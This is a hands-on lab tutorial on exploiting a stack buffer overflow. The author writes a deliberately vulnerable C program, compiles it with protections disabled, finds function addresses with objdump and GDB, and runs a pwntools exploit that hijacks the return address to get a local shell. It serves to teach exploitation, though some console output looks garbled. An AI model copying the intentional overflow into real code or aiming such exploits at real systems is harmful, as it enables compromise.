

- [Stack-Based Buffer Overflow Exploitation with Address Discovery \(Basic\)](#)
 - [Step 1: Install Requirements](#)
 - [Step 2: Create Vulnerable Program](#)
 - [Step 3: Compile Vulnerable Binary](#)
 - [Step 4: Discover Function Addresses](#)
 - [Step 5: Test Buffer Overflow Incrementally](#)
 - [Step 6: Create Python Exploit, to Exploit spawn_shell](#)

Stack-Based Buffer Overflow Exploitation with Address Discovery (Basic)

Author: HarshXor (Afrizal F.A) - R&D incrustwerush.org

OS: Docker Linux Debian (aarch64)

Step 1: Install Requirements

```
apt update
apt install -y gcc gdb python3 python3-pip build-essential net-tools strace ltrace binutils
pip3 install pwntools --break-system-package
```

```
root@d67bc81ddf31:/# apt update
apt install -y gcc gdb python3 python3-pip build-essential net-tools strace ltrace binutils
Hit:1 http://deb.debian.org/debian stable InRelease
Hit:2 http://deb.debian.org/debian stable-updates InRelease
Hit:3 http://deb.debian.org/debian-security stable-security InRelease
All packages are up to date.
Installing:
binutils build-essential gcc gdb ltrace net-tools python3 python3-pip strace

Installing dependencies:
binutils-aarch64-linux-gnu gcc-aarch64-linux-gnu libctf-nobfd0 libglib2.0-0t64 libk5crypto3 libperl5.40 libsource-highlight4t64 netbase rpcsvc-proto
binutils-common javascript-common libctf0 libglib2.0-data libkeyutils1 libproc2-0 libssh2-1t64 openssl sensible-utils
bz2 krus-hocles libcurl3t64-gnutls libkrb5-3 libldap5t64 libstdc++-14-dev patch sensible-utils
ca-certificates libalgorithm-diff-perl libdebuginfod-common liblogos1 libkrb5support0 libpython3-dev libtasn1-6 perl sn
cpp libalgorithm-diff-xs-perl libdebuginfod-t64 liblogos2 libldap-common libpython3-stdlib libtext-charwidth-perl perl-modules-5.40 ucf
cpp-14 libalgorithm-merge-perl libdpkg-perl liblogos3 libldap2 libpython3.13 libtext-wrspi18n-perl procs xdg-user-dirs
cpp-aarch64-linux-gnu libasan8 libdwelt6 libhsapi-krb5-2 liblocale-gettext-perl libpython3.13-dev libtasn2 procps xdg-user-dirs
g++ libatomic1 libelf1t64 libhwasm0 libltdl7 libpython3.13-minimal libubsan1 python3-publicsuffix xz-utils
gdb-dev libbabeltrace1 libexpat1 libltdl-dev libmpc3 libpython3.13-stdlib libunistring5 python3-dev zlib1g-dev
fakeroot libbinutils libfakelroot libltdl libncursesw6 librtmp1 linux-libc-dev python3-minimal python3-packaging
g++ libc-dev-bin libffi8 libjansson4 libnghttp2-14 libssl2-2 linux-sysctl-defaults python3-wheel python3.13
g++-14-aarch64-linux-gnu libc6-dev libfile-fcntllock-perl libjs-jquery libnghttp3-9 libssl-modules make python3.13-dev
g++-aarch64-linux-gnu libcc1-0 libgcc-14-dev libjs-jquery libnghttp2-16 libssl-modules-db mangpages python3.13-minimal
gcc-14 libcom-err2 libgdbm-compat4t64 libjs-underscore libngtcp2-crypto-gnutls8 libstrace1 mangpages-dev python3.13-venv
gcc-14-aarch64-linux-gnu libcrypt-dev libgdbm6t64 libjson-c5 libngtcp2-crypto-gnutls8 libstrace1 media-types readline-common

Suggested packages:
binutils-doc cpp-14-doc automake gdb-doc libc-devtools gnutls-bin libssl-modules-ldap ed python3-doc binfmt-support
gprofng-gui debian-keyring libtool gdbserver glibc-doc gpm libssl-modules-otp perl-doc python3-tk readline-doc
binutils-gold debian-tagupload-keyring flex libcdt-doc git krb5-doc libssl-modules-sql perl-doc python3-venv
bz2-doc gcc-14-doc apache2 bzip2-doc libstdc++-14-doc libstdc++-14-doc libterm-readline-gnu-perl python3-setuptools
cpp-doc gcc-multilib gcc-doc | lighttpd gdbm-110n libssl-modules-gssapi-mit make-doc | libterm-readline-perl python3.13-venv
gcc-14-locales autoconf gcc-aarch64-linux-gnu | httpd low-memory-monitor | libssl-modules-gssapi-heimdal man-browser libtap-harness-archive-perl python3.13-doc

Summary:
Upgrading: 0, Installing: 145, Removing: 0, Not Upgrading: 0
Download size: 118 MB
Space needed: 459 MB / 1021 GB available

Get:1 http://deb.debian.org/debian stable/main arm64 libtext-charwidth-perl arm64 0.04-11+b4 [9652 B]
Get:2 http://deb.debian.org/debian stable/main arm64 libtext-wrspi18n-perl all 0.06-9 [8808 B]
Get:3 http://deb.debian.org/debian stable/main arm64 libncursesw6 arm64 6.5-20260216-2 [124 kB]
Get:4 http://deb.debian.org/debian stable/main arm64 libproc2-0 arm64 2:4.0.4-9 [62.8 kB]
Get:5 http://deb.debian.org/debian stable/main arm64 procs arm64 2:4.0.4-9 [871 kB]
Get:6 http://deb.debian.org/debian stable/main arm64 sensible-utils all 0.0.25 [25.0 kB]
Get:7 http://deb.debian.org/debian stable/main arm64 ucf all 3.0052 [43.3 kB]
Get:8 http://deb.debian.org/debian stable/main arm64 libdebuginfod-common all 0.192-4 [23.7 kB]
Get:9 http://deb.debian.org/debian stable/main arm64 libexpat1 arm64 2.7.1-2 [93.3 kB]
Get:10 http://deb.debian.org/debian stable/main arm64 liblocale-gettext-perl arm64 1.07-7+b1 [15.2 kB]
Get:11 http://deb.debian.org/debian stable/main arm64 libpython3.13-minimal arm64 3.13.5-2 [856 kB]
Get:12 http://deb.debian.org/debian stable/main arm64 python3.13-minimal arm64 3.13.5-2 [2083 kB]
Get:13 http://deb.debian.org/debian stable/main arm64 python3-minimal arm64 3.13.5-1 [27.2 kB]
Get:14 http://deb.debian.org/debian stable/main arm64 media-types all 13.0.0 [29.3 kB]
```

Step 2: Create Vulnerable Program

vuln.c:

```
cat << 'EOF' > vuln.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void secret() {
    printf("Buffer Overflow Vulner\n");
    fflush(stdout);
    exit(0);
}

void spawn_shell() {
    system("/bin/sh");
}

void vuln() {
    char buf[32];
    printf("Input: ");
    fgets(buf, 128, stdin); // overflow because buffer only 32
}

int main() {
    vuln();
    return 0;
}
EOF
```

```
root@d67bc81ddf31:~# cat << 'EOF' > vuln.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void secret() {
    printf("Buffer Overflow Vulner\n");
    fflush(stdout);
    exit(0);
}

void spawn_shell() {
    system("/bin/sh");
}

void vuln() {
    char buf[32];
    printf("Input: ");
    fgets(buf, 128, stdin); // overflow because buffer only 32
}

int main() {
    vuln();
    return 0;
}
EOF
root@d67bc81ddf31:~# cat vuln.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void secret() {
    printf("Buffer Overflow Vulner\n");
    fflush(stdout);
    exit(0);
}

void spawn_shell() {
    system("/bin/sh");
}

void vuln() {
    char buf[32];
    printf("Input: ");
    fgets(buf, 128, stdin); // overflow because buffer only 32
}

int main() {
    vuln();
    return 0;
}
root@d67bc81ddf31:~#
```

Step 3: Compile Vulnerable Binary

```
gcc vuln.c -o vuln -fno-stack-protector -no-pie -z execstack
```

```
root@d67bc81ddf31:/# gcc vuln.c -o vuln -fno-stack-protector -no-pie -z execstack
vuln.c: In function 'vuln':
vuln.c:18:5: warning: 'fgets' writing 128 bytes into a region of size 32 overflows the destination [-Wstringop-overflow=]
   18 |     fgets(buf, 128, stdin); // overflow because buffer only 32
      |     ^~~~~~
vuln.c:16:10: note: destination object 'buf' of size 32
   16 |     char buf[32];
      |          ^~~~~
In file included from vuln.c:1:
/usr/include/stdio.h:654:14: note: in a call to function 'fgets' declared with attribute 'access (write_only, 1, 2)'
   654 | extern char *fgets (char *__restrict __s, int __n, FILE *__restrict __stream)
      |                  ^~~~~~
root@d67bc81ddf31:/#
```

Step 4: Discover Function Addresses

Using objdump

```
objdump -d ./vuln
```

```
root@d67bc81ddf31:/# objdump -d ./vuln
./vuln:      file format elf64-littlearch64

Disassembly of section .init:

0000000000400670 <.init>:
400670: d583233f      paciasp
400674: a9b77b7d      stp     x29, x30, [sp, #-16]!
400678: 918003fd      mov     x29, sp
40067c: 940800a3      bl      400789 <call_weak_fn>
400680: a8c17b7d      ldp     x29, x30, [sp], #16
400684: d58323bf      autiasp
400688: d55f03c0      ret

Disassembly of section .plt:

0000000000400690 <.plt>:
400690: a9b77b7d      stp     x16, x30, [sp, #-16]!
400694: f80808f0      adrp    x16, 41f000 <__abi_tag+0x1e544>
400698: f947fe11      ldr     x17, [x16, #4088]
40069c: 9137e210      add     x16, x16, #0xfff0
4006a0: d61f0220      br      x17
4006a4: d503201f      nop
4006a8: d503201f      nop
4006ac: d503201f      nop

00000000004006b0 <exit@plt>:
4006b0: 90800110      adrp    x16, 420000 <exit@GLIBC_2.17>
4006b4: f9400211      ldr     x17, [x16]
4006b8: 91800210      add     x16, x16, #0x0
4006bc: d61f0220      br      x17

00000000004006c0 <__libc_start_main@plt>:
4006c0: 90800110      adrp    x16, 420000 <exit@GLIBC_2.17>
4006c4: f9400611      ldr     x17, [x16, #3]
4006c8: 91800210      add     x16, x16, #0x8
4006cc: d61f0220      br      x17

00000000004006d0 <system@plt>:
4006d0: 90800110      adrp    x16, 420000 <exit@GLIBC_2.17>
4006d4: f9400a11      ldr     x17, [x16, #16]
4006d8: 91800210      add     x16, x16, #0x10
4006dc: d61f0220      br      x17

00000000004006e0 <__gmmon_start_@plt>:
4006e0: 90800110      adrp    x16, 420000 <exit@GLIBC_2.17>
4006e4: f9400e11      ldr     x17, [x16, #24]
4006e8: 91800210      add     x16, x16, #0x18
4006ec: d61f0220      br      x17

00000000004006f0 <abort@plt>:
4006f0: 90800110      adrp    x16, 420000 <exit@GLIBC_2.17>
4006f4: f9401211      ldr     x17, [x16, #32]
4006f8: 91800210      add     x16, x16, #0x20
4006fc: d61f0220      br      x17

0000000000400700 <puts@plt>:
400700: 90800110      adrp    x16, 420000 <exit@GLIBC_2.17>
400704: f9401611      ldr     x17, [x16, #40]
400708: 91800210      add     x16, x16, #0x28
40070c: d61f0220      br      x17

0000000000400710 <fflush@plt>:
400710: 90800110      adrp    x16, 420000 <exit@GLIBC_2.17>
400714: f9401a11      ldr     x17, [x16, #48]
400718: 91800210      add     x16, x16, #0x30
40071c: d61f0220      br      x17

0000000000400720 <printf@plt>:
400720: 90800110      adrp    x16, 420000 <exit@GLIBC_2.17>
```

Look for addresses that may be vulnerable

```
objdump -d ./vuln | grep secret
objdump -d ./vuln | grep spawn_shell
```

```
root@d67bc81ddf31:/# objdump -d ./vuln | grep secret
000000000040084c <secret>:
root@d67bc81ddf31:/# objdump -d ./vuln | grep spawn_shell
0000000000400878 <spawn_shell>:
root@d67bc81ddf31:/#
```

- Output example:

```
000000000040084c <secret>:
0000000000400878 <spawn_shell>:
```

- Use these addresses in the payload.

Using GDB

```
gdb ./vuln
(gdb) info functions secret
(gdb) info functions spawn_shell
(gdb) quit
```

- GDB prints exact addresses of target functions.

```
root@d67bc81ddf31:/# gdb ./vuln
GNU gdb (Debian 16.3-1) 16.3
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "aarch64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./vuln...
(No debugging symbols found in ./vuln)
(gdb) info functions secret
All functions matching regular expression "secret":

Non-debugging symbols:
0x000000000040084c  secret
(gdb) info functions spawn_shell
All functions matching regular expression "spawn_shell":

Non-debugging symbols:
0x0000000000400878  spawn_shell
(gdb) quit
root@d67bc81ddf31:/#
```

Step 5: Test Buffer Overflow Incrementally

Small input

```
python3 -c 'import sys; sys.stdout.buffer.write(b"A"*8)' | ./vuln
```

Partial overflow

```
python3 -c 'import sys; sys.stdout.buffer.write(b"A"*32)' | ./vuln
```

Exceed buffer

```
python3 -c 'import sys; sys.stdout.buffer.write(b"A"*40)' | ./vuln
```

- Program may crash or undefined behavior.

Add target function address

```
python3 -c 'import sys; sys.stdout.buffer.write(b"A"*40 + b"\x4c\x08\x40\x00\x00\x00\x00")' | ./vuln
```

- Overwrites return address → jumps to `secret()`.

```
root@d67bc81ddf31:/# python3 -c 'import sys; sys.stdout.buffer.write(b"A"*40 + b"\x4c\x08\x40\x00\x00\x00\x00")' | ./vuln
Input: Buffer Overflow Vulner
root@d67bc81ddf31:/#
```

Step 6: Create Python Exploit, to Exploit `spawn_shell`

`exp.py`:

```
cat << 'EOF' > exploit.py
#!/usr/bin/env python3
from pwn import *

context.arch = 'aarch64'
```



```
context.os = 'linux'

elf = ELF('./vuln')
offset = 40
secret = elf.symbols.get('spawn_shell')

payload = b'A' * offset + p64(secret)

p = process('./vuln')
p.sendline(payload)
p.interactive()

EOF
```

```
root@d67bc81ddf31:/# cat << 'EOF' > exploit.py
#!/usr/bin/env python3
from pwn import *

context.arch = 'aarch64'
context.os = 'linux'

elf = ELF('./vuln')
offset = 40
secret = elf.symbols.get('spawn_shell')

payload = b'A' * offset + p64(secret)

p = process('./vuln')
p.sendline(payload)
p.interactive()

EOF
root@d67bc81ddf31:/# cat exploit.py
#!/usr/bin/env python3
from pwn import *

context.arch = 'aarch64'
context.os = 'linux'

elf = ELF('./vuln')
offset = 40
secret = elf.symbols.get('spawn_shell')

payload = b'A' * offset + p64(secret)

p = process('./vuln')
p.sendline(payload)
p.interactive()

root@d67bc81ddf31:/# █
```

Run exploit with command

```
python3 exploit.py
```

Result

```
root@d67bc81ddf31:/# python3 exploit.py
[*] '/vuln'
  Arch:      aarch64-64-little
  RELRO:     Partial RELRO
  Stack:     No canary found
  NX:        NX unknown - GNU_STACK missing
  PIE:       No PIE (0x400000)
  Stack:     Executable
  RWX:       Has RWX segments
  Stripped:  No
[+] Starting local process './vuln': pid 4701
[*] Switching to interactive mode
$ uname -a
Linux d67bc81ddf31 6.10.14-linuxkit #1 SMP Fri Nov 29 17:22:03 UTC 2024 aarch64 GNU/Linux
$ █
```

Pwnd